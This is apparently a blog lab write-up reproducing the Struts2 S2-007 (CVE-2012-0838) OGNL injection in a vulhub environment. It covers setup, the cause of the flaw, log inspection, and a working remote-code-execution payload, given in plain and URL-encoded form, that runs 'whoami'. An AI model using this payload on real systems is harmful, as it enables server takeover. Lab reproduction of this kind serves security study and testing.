1. 程式人生 > 其它 >CVE-2012-0838 S2-007復現

CVE-2012-0838 S2-007復現

0X00-引言


道可道,非常道。名可名,非常名。

0X01-環境搭建


靶機:CentOS Linux 7

攻擊機:windows server 2016 && Kail

環境:vulhub

專案地址:https://github.com/vulhub/vulhub

搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)

0X02-漏洞描述


當配置了驗證規則 <ActionName>-validation.xml 時,若型別驗證轉換出錯,後端預設會將使用者提交的表單值通過字串拼接,然後執行一次 OGNL 表示式解析並返回。

當用戶提交 age 為字串而非整形數值時,後端用程式碼拼接 "'" + value + "'"

然後對其進行 OGNL 表示式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單欄位使之轉換出錯,藉助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表示式。

(大佬寫的,簡潔明瞭) S2-007和S2-003、S2-005的漏洞源頭都是一樣的,都是struts2對OGNL的解析過程中存在漏洞,導致黑客可以通過OGNL表示式實現程式碼注入和執行,所不同的是

1. S2-003、S2-005: 通過OGNL的name-value的賦值解析過程、#訪問全域性靜態變數(AOP思想)實現程式碼執行
2. S2-007: 通過OGNL中String向long轉換過程實現程式碼執行
//即它們的攻擊向量是不同的

影響版本:Struts2 2.0.0 - 2.2.3

0X03-漏洞復現


url登入:若是出現404,清楚瀏覽器一段時間記錄即可

01-任意命令執行

payload,引數為whoami可以更改

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

url編碼:

%27%20%2b%20%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%66%6f%6f%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%42%6f%6f%6c%65%61%6e%28%22%66%61%6c%73%65%22%29%20%2c%23%63%6f%6e%74%65%78%74%5b%22%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%22%5d%3d%23%66%6f%6f%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%20%2b%20%27%0a

burp抓包-repeater-改包(修改age的值)-傳送

0X04-工具檢測


未找到可利用的工具,好像S2-007有些奇怪,好多工具都沒有對此檢測和利用

0X05-檢視日誌


進入容器

docker ps #檢視容器ID
docker exec -it ID /bin/bash #進入
cd logs #進入日誌目錄
cat localhost_access_log.2021-12-02.txt #檢視日誌
exit #退出容器

IP為192.168.234.1的主機訪問了user/action目錄,協議為http/1.1,狀態碼200位訪問成功

0X06-參考


S2-007 遠端程式碼執行漏洞

struts2 Advanced Learning